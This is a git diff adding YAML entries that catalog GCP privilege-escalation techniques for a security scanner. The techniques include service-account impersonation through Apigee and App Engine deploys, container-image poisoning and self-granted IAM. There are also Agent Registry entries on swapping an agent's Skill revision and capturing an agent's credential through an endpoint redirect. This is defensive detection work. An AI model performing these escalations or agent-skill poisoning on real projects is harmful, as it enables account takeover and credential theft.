+- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanagerpoliciessetiampolicy--the-access-policys-own-iam-plane-invisible-backdoor + technique: Self-grant accesscontextmanager.servicePerimeters.update on a access policy + reason: Access policies are organization resources; current typed resource-self-grant evidence supports only exact project descendants. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apigee-privesc.md#apigeeenvironmentssetiampolicy--grant-an-environment-role-to-an-attacker-controlled-principal + technique: Self-grant apigee.proxyrevisions.deploy on a environment + reason: Apigee environment names are organization resources; current typed resource-self-grant evidence supports only exact project descendants. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-beyondcorp-privesc.md#self-grant-access-to-an-existing-private-web-application + technique: Self-grant beyondcorp.sgApplications.use on a secure gateway app + reason: The Application User role grants gateway access without a named IAM permission that the typed permission-grant contract can verify. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-billing-privesc.md#billingaccountssetiampolicy--self-grant-billing-account-administrator + technique: Self-grant billing.accounts.updatePaymentInfo on a billing account + reason: Billing accounts are not project descendants in the typed resource-self-grant evidence contract. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-security-command-center-privesc.md#securitycentersourcessetiampolicy--self-grant-finding-control-on-one-organization-source + technique: Self-grant securitycenter.findings.update on a source + reason: Security Command Center sources are organization resources; current typed resource-self-grant evidence supports only exact project descendants. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#tagkeystagvaluessetiampolicy--self-grant-use-of-a-privileged-tag + technique: Self-grant resourcemanager.tagValueBindings.create on a tag key + reason: Tag keys and values are not project descendants in the typed resource-self-grant evidence contract. +- id: gcp-runtimeconfig-configs-setiampolicy-config-self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-runtimeconfig-privesc.md#runtimeconfigconfigssetiampolicy--self-grant-administration-of-one-config + technique: Self-grant runtimeconfig.variables.get on a config + reason: Manual-only path. The scanner collects neither an exact runtimeconfig resource with its IAM policy nor + the grantable role and effective before/after permission. The only current path uses externally reviewed mutation + evidence, so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks Cloud technique documented; + exclude it from CSPM execution and the UI. +- id: gcp-spanner-databases-setiampolicy-database-self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spannerdatabasessetiampolicy--spannerinstancessetiampolicy--grant-database-access + technique: Self-grant spanner.databases.read on a database + reason: Manual-only path. The scanner collects neither an exact spanner resource with its IAM policy nor the grantable + role and effective before/after permission. The only current path uses externally reviewed mutation evidence, + so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks Cloud technique documented; exclude + it from CSPM execution and the UI. +- id: gcp-spanner-instances-setiampolicy-instance-self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spannerdatabasessetiampolicy--spannerinstancessetiampolicy--grant-database-access + technique: Self-grant spanner.databases.read on a instance + reason: Manual-only path. The scanner collects neither an exact spanner resource with its IAM policy nor the grantable + role and effective before/after permission. The only current path uses externally reviewed mutation evidence, + so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks Cloud technique documented; exclude + it from CSPM execution and the UI. +- id: gcp-servicedirectory-namespaces-setiampolicy-self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-directory-privesc.md#servicedirectorynamespacesservicessetiampolicy--resource-scoped-iam-persistence + technique: Self-grant servicedirectory.services.create on a namespace + reason: Manual-only path. The scanner collects neither an exact servicedirectory resource with its IAM policy + nor the grantable role and effective before/after permission. The only current path uses externally reviewed + mutation evidence, so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks Cloud technique + documented; exclude it from CSPM execution and the UI. +- id: gcp-servicedirectory-services-setiampolicy-self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-directory-privesc.md#servicedirectorynamespacesservicessetiampolicy--resource-scoped-iam-persistence + technique: Self-grant servicedirectory.services.update on a service + reason: Manual-only path. The scanner collects neither an exact servicedirectory resource with its IAM policy + nor the grantable role and effective before/after permission. The only current path uses externally reviewed + mutation evidence, so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks Cloud technique + documented; exclude it from CSPM execution and the UI. +- id: gcp-saasservicemgmt-release-unit-actuation + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-app-lifecycle-manager-privesc.md#saasservicemgmtreleasescreate--unitoperationscreate--rolloutscreate--apply-attacker-terraform-as-an-actuation-service-account + technique: Apply an attacker blueprint release to existing Units as their actuation service account + reason: Manual-only path. The scanner does not collect existing Units, their actuation service accounts, compatible + release and rollout topology, or a resulting actuation. IAM permissions alone cannot establish a specific service-account + authority gain. Keep the HackTricks Cloud procedure documented; exclude it from CSPM execution and the UI. +- id: gcp-secretmanager-managed-rotation-exact-cloudsql-user + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#secretmanagersecretsenablemanagedrotation--reset-a-cloud-sql-users-password-through-the-secret-identity + technique: Reset one Cloud SQL user's password through managed secret rotation + reason: Manual-only path. The scanner does not run password rotation, verify the exact Cloud SQL user and secret + identity, or authenticate with a new password to prove a newly allowed database action. The current path depends + on externally reviewed login evidence. Keep the HackTricks Cloud technique documented; exclude it from CSPM + execution and the UI. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded_sweep.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded_sweep.yaml new file mode 100644 index 0000000000..af15cff693 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded_sweep.yaml @@ -0,0 +1 @@ +# Reviewed privilege-escalation sweep exclusions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/_todo.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/_todo.yaml new file mode 100644 index 0000000000..70b2073345 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/_todo.yaml @@ -0,0 +1,4 @@ +# GCP catalog items not yet written (blocked during authoring). Kept as comments because the catalog loader parses +# every non-_excluded YAML file in this directory as an entry list; uncomment/move when the loader skips _todo files. +# +# (empty: the Dataform page is now covered by dataform.yaml) diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry.yaml new file mode 100644 index 0000000000..3fcd31909a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry.yaml @@ -0,0 +1,39 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Agent Registry privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-agent-registry-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# A reviewed execution record must identify the exact Agent Registry Skill and consumer. +- id: gcp-agentregistry-skill-default-revision-replace + provider: gcp + service: agentregistry + title: Publish a Skill revision used by an agent + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc.md#agentregistryskillrevisionscreate--agentregistryskillsupdate--replace-an-executable-skills-default-revision + source_revision: 171e422 + summary: Publishing a new Agent Registry Skill revision may let the source run a bounded action in a consumer that resolves that Skill's floating default. + requires: + all_of: + - action: agentregistry.skillRevisions.create + resource: '{target.artifact_arn}' + - action: serviceusage.services.use + resource: '{target.quota_project}' + target: + kind: gcp_verified_authority + selector: + gcp_agentregistry_skill_evidence: true + scope: any + outcome: bounded_authority + aggregate_as: Exact downstream actions observed through consumers of a changed Agent Registry Skill + conditions: + - id: exact_skill_consumer + description: A reviewed record must show the consumer resolves this Agent Registry Skill's logical name and changed default revision, not a pinned revision or a similarly named Skill Registry resource. + - id: observed_bounded_action + description: The consumer must load the replacement payload and perform a named action on an exact resource that the source could not access before. + - id: explicit_pointer_update + description: If the record says the pointer was changed explicitly, the source also needs agentregistry.skills.update on the exact Skill. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/agentregistry.user, editor and admin on Skills, pin agents to immutable revisions and keep security scanning enabled. + notes: Preview service. Creating a revision automatically makes it active according to Google documentation. A verified record binds the exact Skill, quota project, consumer, runtime identity, changed revision, and newly successful bounded action; no generic service-account attachment is inferred. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry_external.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry_external.yaml new file mode 100644 index 0000000000..c52f191137 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry_external.yaml @@ -0,0 +1,32 @@ +# A redirected service endpoint creates no path until a victim actually sends +# a usable, subject-bound credential and the source gains a new target action. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: gcp-agentregistry-service-redirect-exact-external-principal + provider: gcp + service: agentregistry + title: Capture one bound agent credential through a service endpoint redirect + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc.md#agentregistryservicesupdate--redirect-a-bound-target-and-capture-its-agent-identity-credential + source_revision: f0f683242a + summary: Updating an existing bound Agent Registry service URL may route a later authorized agent invocation to a controlled endpoint and reveal that agent's provider credential, reaching a named external principal only if the credential is captured and newly authorizes an exact API action. + requires: + all_of: + - action: agentregistry.services.update + resource: '{target.resource}' + - action: serviceusage.services.use + resource: '{target.quota_project}' + target: + kind: gcp_external_principal + selector: + gcp_external_principal_evidence: true + gcp_external_plane: agent_registry_provider + scope: any + outcome: credentials + aggregate_as: Exact provider principal whose credential was captured and tested + conditions: + - id: bound_agent_credential_capture + description: A unique reviewed record must bind the changed Service URL, unchanged projected URN and auth-provider Binding, later authorized victim invocation, controlled receiver capture, usable subject-bound credential, prior source denial, and newly allowed action on the exact provider resource. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict Agent Registry service updates and validate destinations of credential-bearing bound services. + notes: QuotaProject records the exact project used for serviceusage.services.use and can differ from the Service project. TargetPlane must be agent_registry_provider. TargetServiceResource may be the exact HTTPS provider API resource; TargetPrincipalId and ObservedPrincipalId must be the credential's verified provider subject. Endpoint redirection, an API-key-shaped string, or an uninvoked binding alone creates no edge. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/aiplatform.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/aiplatform.yaml new file mode 100644 index 0000000000..667266877c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/aiplatform.yaml @@ -0,0 +1,2 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/apigee.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/apigee.yaml new file mode 100644 index 0000000000..1e937b3a76 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/apigee.yaml @@ -0,0 +1,89 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Apigee privilege escalation techniques (GCP identity only; API traffic/credential tampering is excluded). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-apigee-privesc.md (proxy rev 171e422; shared-flow rev 80bf7fe60f). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-apigee-proxy-deploy-with-sa-actas + provider: gcp + service: apigee + title: Deploy a proxy revision bound to a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apigee-privesc.md#apigeeproxiescreate--apigeedeploymentscreate--apigeeproxyrevisionsdeploy--iamserviceaccountsactas--deploy-a-malicious-api-proxy-revision + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: apigee.proxyrevisions.deploy + resource: "*" + - action: apigee.deployments.create + resource: "*" + - action: apigee.proxies.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_apigee_proxy_deploy_path: true + scope: any + aggregate_as: "Service accounts bindable to Apigee proxy deployments in {project}" + conditions: + - id: apigee_org + description: The project must host an Apigee organization with an environment the proxy can be deployed to. + - id: proxy_token_use + description: The bound SA is used by proxy policies that authenticate to Google APIs; the source reaches it through requests to its own proxy. + - id: token_creator_for_runtime + description: The proxy SA must be in the Apigee organization's project and the active runtime identity must be allowed to mint tokens for it (normally Token Creator on the SA); otherwise the proxy cannot obtain Google tokens. + - id: standard_environment + description: Archive-deployment environments and Apigee Space-associated proxies follow different authorization and do not support SA-bound Google authentication in the same way. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Apigee proxy SAs and restrict apigee.proxyrevisions.deploy. + references: + - https://docs.cloud.google.com/apigee/docs/api-platform/security/google-auth/overview + notes: Deploying without a service account needs no actAs and yields no GCP identity (traffic tamper only, excluded). apigee.proxies.create is checked on the organization for both a new proxy and a new revision of an existing proxy, apigee.deployments.create on the environment and apigee.proxyrevisions.deploy on the revision. Direct environment IAM bindings are read from that environment. Managed Apigee service-agent delegation is evaluated; Hybrid's separately configured runtime SA remains unresolved when its identity is not collected. roles/apigee.apiAdminV2 lacks deployments.create and roles/apigee.environmentAdmin lacks authoring. + +- id: gcp-apigee-sharedflow-flowhook-with-sa-actas + provider: gcp + service: apigee + title: Deploy a shared flow bound to a chosen service account and attach it to an environment flow hook + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apigee-privesc.md#apigeesharedflowscreate--apigeedeploymentscreate--apigeesharedflowrevisionsdeploy--apigeeflowhooksattachsharedflow--execute-a-malicious-shared-flow-across-an-environment + source_revision: 80bf7fe60f + summary: The source can obtain the Google API privileges of any service account in the Apigee project on which it holds iam.serviceAccounts.actAs, through a shared flow it deploys and attaches to a flow hook. + requires: + all_of: + - action: apigee.sharedflows.create + resource: "*" + - action: apigee.deployments.create + resource: "*" + - action: apigee.sharedflowrevisions.deploy + resource: "*" + - action: apigee.flowhooks.attachSharedFlow + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_apigee_sharedflow_hook_path: true + scope: any + aggregate_as: "Service accounts bindable to Apigee shared-flow deployments in {project}" + conditions: + - id: apigee_org + description: The project must host an Apigee organization with a standard (non-archive) environment that serves proxy traffic so the hooked flow executes. + - id: token_creator_for_runtime + description: The SA must be in the Apigee organization's project and the active runtime identity must be allowed to mint tokens for it; the flow uses the SA only through Google-authentication policies, request by request. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict apigee.flowhooks.attachSharedFlow and apigee.sharedflowrevisions.deploy, and grant actAs only on dedicated Apigee SAs. + references: + - https://docs.cloud.google.com/apigee/docs/api-platform/fundamentals/shared-flows + - https://docs.cloud.google.com/apigee/docs/api-platform/security/google-auth/overview + notes: Without a service account the shared flow yields traffic interception only (excluded). sharedflows.create is checked on the organization, deployments.create on the environment, sharedflowrevisions.deploy on the revision, and flowhooks.attachSharedFlow on an environment flow-hook child. A deployed proxy must exist in that environment for the hook to receive proxy traffic. Managed Apigee service-agent delegation is evaluated; Hybrid's separately configured runtime SA remains unresolved when its identity is not collected. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/apikeys.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/apikeys.yaml new file mode 100644 index 0000000000..deb21e6e64 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/apikeys.yaml @@ -0,0 +1,44 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP API Keys privilege escalation techniques (authorization keys bound to a service account only; standard keys are excluded). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-apikeys-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-apikeys-authorization-key-bound-sa + provider: gcp + service: apikeys + title: Create an authorization API key bound to a more-privileged service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md#create-an-authorization-key-bound-to-a-more-privileged-service-account + source_revision: 171e422 + summary: The source can create a key that acts as a selected service account only when calling an API that accepts authorization keys and is permitted by the effective key-binding policy. + requires: + all_of: + - action: apikeys.keys.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.resource}" + - action: iam.serviceAccountApiKeyBindings.create + resource: "{target.resource}" + target: + kind: gcp_verified_authority + selector: + gcp_bounded_service_execution: apikeys_authorization_key + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + outcome: bounded_authority + aggregate_as: "Service accounts usable through supported authorization-key APIs in {project}" + conditions: + - id: partial_api_scope + description: The key only works against APIs that accept authorization keys (documented for Vertex AI / aiplatform and the Gemini API), within the key's API restriction; it is not a credential for every Google Cloud API. + - id: effective_key_binding_policy + description: The effective managed policy must allow the key's API restriction. Gemini-only keys are allowed by default; changing the policy to allow other services requires an organization. + blockers: + - gcp_deny_policy + - id: org_policy_constraint + constraint: iam.managed.disableServiceAccountApiKeyCreation + confidence: conditional + severity: high + mitigation: Restrict service account key-binding and actAs grants, and limit allowed API services in the effective managed policy. + references: + - https://docs.cloud.google.com/docs/authentication/api-keys + notes: Google documents API Keys Admin, Service Usage Viewer, Service Account User and Service Account API Key Binding Admin as the required roles. The managed constraint allows Gemini-only keys by default. The CreateKey operation returns the key string (serviceusage.operations.get is only needed to poll it). diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/appengine.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/appengine.yaml new file mode 100644 index 0000000000..7f36a955bc --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/appengine.yaml @@ -0,0 +1,124 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP App Engine privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-appengine-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Versions run as the app-level default SA (@appspot.gserviceaccount.com) unless a per-version SA is set. + +- id: gcp-appengine-versions-create-actas + provider: gcp + service: appengine + title: Deploy an App Engine version running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md#deploy-attacker-controlled-code-as-a-version-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, including the App Engine default service account. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: appengine.versions.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_appengine_deploy_path: true + scope: same_project + aggregate_as: "Service accounts usable as App Engine runtime SA in {project}" + conditions: + - id: app_exists + description: An App Engine application must already exist in the project. + - id: deploy_prereqs + description: The direct Admin API can deploy from staged source without the caller creating a Cloud Build; gcloud adds build and operation-polling permissions. + - id: legacy_default_sa_actas_exception + description: In legacy-affected organizations the auto-created appspot default SA can be deployed as without actAs until constraints/appengine.enforceServiceAccountActAsCheck is enforced; this entry conservatively still requires actAs. + - id: version_sa_artifact_registry + description: The version's SA itself needs artifactregistry.repositories.uploadArtifacts (and downloadArtifacts for flexible) or the deployment never reaches execution. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs, remove roles/editor from the App Engine default SA and restrict roles/appengine.deployer. + references: + - https://cloud.google.com/appengine/docs/standard/configure-service-accounts + notes: An existing App Engine application, write access to its staging bucket, and a Docker repository the chosen runtime SA can upload to establish the standard-environment path. Other possible source or image paths remain unresolved. The selected SA must be in the application's project. + +- id: gcp-appengine-versions-create-legacy-default-sa-no-actas + provider: gcp + service: appengine + title: Deploy an App Engine version as the legacy default service account without actAs + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md#deploy-attacker-controlled-code-as-a-version-service-account + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the auto-created App Engine default service account of projects where it can deploy versions, in legacy-affected organizations that do not enforce the App Engine actAs check. + requires: + all_of: + - action: appengine.versions.create + resource: "*" + target: + kind: gcp_service_account + selector: + target_id_glob: ["*@appspot.gserviceaccount.com"] + gcp_sa_in_scope_of_permission: true + gcp_appengine_deploy_path: true + gcp_appengine_legacy_actas_unenforced: true + scope: same_project + aggregate_as: "App Engine default SA deployable without actAs in {project}" + conditions: + - id: legacy_affected_org + description: Only legacy-affected organizations have the exemption; where constraints/appengine.enforceServiceAccountActAsCheck is not visible the check is already enforced and this edge does not exist. + - id: app_exists + description: An App Engine application must already exist and the version must run as the auto-created appspot service account. + - id: version_sa_artifact_registry + description: The default SA itself needs artifactregistry.repositories.uploadArtifacts (and downloadArtifacts for flexible) or the deployment never reaches execution. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Enforce constraints/appengine.enforceServiceAccountActAsCheck and remove roles/editor from the App Engine default SA. + references: + - https://docs.cloud.google.com/iam/docs/service-accounts-actas + notes: Complements gcp-appengine-versions-create-actas (which requires actAs) for the documented legacy exception. The project must expose the legacy constraint and its effective policy must leave the actAs check unenforced; missing policy evidence remains unresolved. +- id: gcp-appengine-instances-enabledebug + provider: gcp + service: appengine + title: SSH into an App Engine flexible instance and use its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md#ssh-into-a-flexible-environment-instance-through-debug-mode-or-os-login + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of App Engine flexible versions on which it holds appengine.instances.enableDebug, or OS Login plus actAs on that service account. + requires: + any_of: + - - action: appengine.instances.enableDebug + resource: '{target.host_resource}' + - - action: compute.instances.osLogin + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + - - action: compute.instances.osAdminLogin + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + attached_to_service: appengine_version + gcp_appengine_instance_ssh_path: true + scope: same_project + aggregate_as: SAs of App Engine flexible versions the source can debug + conditions: + - id: flexible_only + description: Only App Engine flexible instances support SSH debug; standard environment versions are not reachable. + - id: ssh_reachability + description: The instance VM must be reachable over SSH from the source (external IP, or IAP TCP forwarding which adds iap.tunnelInstances.accessViaIAP and a firewall path). + - id: os_login_scope + description: The OS Login branch needs the role at project level for the CLI (or compute.projects.get); external-organization principals also need compute.osLoginExternalUser. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/appengine.appAdmin and avoid privileged SAs on flexible versions. + references: + - https://docs.cloud.google.com/appengine/docs/flexible/debugging-an-instance + - https://docs.cloud.google.com/compute/docs/oslogin/set-up-oslogin + notes: The debug branch does not require actAs or Compute setMetadata (the debug request carries the SSH key). The OS Login branch requires actAs because the VM has an attached SA. Both branches join the exact flexible instance, backing VM and runtime service account; a public IP or authorized IAP route remains conditional on SSH firewall access. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/artifactregistry.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/artifactregistry.yaml new file mode 100644 index 0000000000..b25bf56c73 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/artifactregistry.yaml @@ -0,0 +1,107 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Artifact Registry privilege escalation techniques (supply chain into workloads that pull artifacts). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-artifact-registry-privesc.md (rev 171e422); gcr.io squat and dependency confusion now live on gcp-persistence/gcp-artifact-registry-persistence.md. +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +- id: gcp-artifactregistry-upload-artifacts + provider: gcp + service: artifactregistry + title: Replace a tagged Docker image consumed by a privileged workload + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifactregistryrepositoriesuploadartifacts--poison-an-artifact-consumed-by-a-privileged-workload + source_revision: 171e422 + summary: The source may reach a runtime or build account when it can replace an exact tagged image that an observed Cloud Run, Cloud Build, or GKE consumer later fetches. + requires: + all_of: + - action: artifactregistry.repositories.uploadArtifacts + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_artifact_upload_consumer_path: true + scope: any + aggregate_as: Runtime SAs of observed Cloud Run, Cloud Build, and GKE consumers of writable tagged images + conditions: + - id: mutable_reference + description: An observed Cloud Run image, inline Cloud Build step, or joined GKE Pod must reference a tag in the same standard Docker repository, and the repository must allow tag changes. + - id: redeploy + description: Cloud Run services and worker pools resolve tags to digests per revision; jobs, build steps, and new GKE Pods may fetch the changed tag later. + - id: immutable_tags + description: Repositories with immutable tags enabled reject re-tagging an existing tag. + - id: binary_authorization + description: Binary Authorization / signature verification on the consumer blocks unsigned images. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/artifactregistry.writer, enable immutable tags, pin consumers to digests and enforce Binary Authorization. + references: + - https://cloud.google.com/iam/docs/roles-permissions/artifactregistry + notes: The active path covers Docker tags with exact consumers. Replacing a stored image does not change already-deployed Cloud Functions or App Engine versions. +- id: gcp-artifactregistry-repositories-setiampolicy + provider: gcp + service: artifactregistry + title: Self-grant writer on a repository through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifactregistryrepositoriessetiampolicy--self-grant-control-of-a-repository + source_revision: 171e422 + summary: The source can grant itself upload rights on an exact Docker repository and may reach the runtime account of a workload that later fetches its tagged image. + requires: + all_of: + - action: artifactregistry.repositories.setIamPolicy + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_artifact_policy_consumer_path: true + scope: any + aggregate_as: Run-as SAs of workloads consuming Artifact Registry repositories whose IAM the source controls + conditions: + - id: followup_upload + description: The repository must be a standard Docker repository used by a recorded tag-based Cloud Run image; a future deployment or execution must fetch the altered image. + - id: allowed_member_domains + description: An effective allowed-member-domains policy may reject a self-grant and leaves the path unresolved until the source member is checked against it. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict artifactregistry.repositories.setIamPolicy (roles/artifactregistry.admin, roles/owner). + references: + - https://docs.cloud.google.com/artifact-registry/docs/reference/rest/v1/projects.locations.repositories/setIamPolicy + - https://docs.cloud.google.com/artifact-registry/docs/reference/rest/v1/projects.locations.repositories + notes: A blind setIamPolicy call does not require getIamPolicy. The path is conditional on a successful self-grant, upload, and future tag pull. Immutable tags or unknown allowed-member constraints remain unresolved. Public exposure through allUsers is a data-exposure outcome and is not modeled. +- id: gcp-artifactregistry-gcrio-namespace-squat + provider: gcp + service: artifactregistry + title: Create the missing gcr.io-named repository to claim a redirected legacy namespace + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#squat-the-legacy-gcrio-namespace-as-a-permanent-backdoor---artifactregistryrepositoriescreate + source_revision: 4e9b5eaaa6 + summary: The source can put a controlled image into a missing gcr.io repository after redirection and may reach a workload's runtime service account if its tagged image is fetched on a later deployment or execution. + requires: + all_of: + - action: artifactregistry.repositories.create + resource: '*' + - action: artifactregistry.repositories.uploadArtifacts + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_gcr_namespace_path: true + scope: any + aggregate_as: Runtime SAs of workloads with tagged images in a missing redirected gcr.io repository + conditions: + - id: redirection_enabled + description: The image's registry project must have full gcr.io redirection enabled, and that host's repository must be absent from a complete listing of its matching multi-region. + - id: legacy_consumers + description: An observed Cloud Run service or job must use a tag-based gcr.io image from that project and fetch it after the repository is created; digest-pinned references cannot be replaced through this path. + - id: push_after_create + description: The caller must push a modified image into the newly created repository; uploadArtifacts is required for that action. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Create the intended gcr.io-named repositories in migrated projects, limit repository creation and upload rights, and pin workload images by digest. + references: + - https://docs.cloud.google.com/artifact-registry/docs/reference/rest/v1/ProjectSettings + - https://docs.cloud.google.com/artifact-registry/docs/transition/gcr-repositories + notes: The modeled edge requires matching create and upload rights plus a recorded Cloud Run consumer and remains conditional on a future image fetch. GKE and other consumers without an exact runtime identity join remain unresolved. The runtime service account may be in another project. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/batch.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/batch.yaml new file mode 100644 index 0000000000..9a0e6e8fd0 --- /dev/null +++ 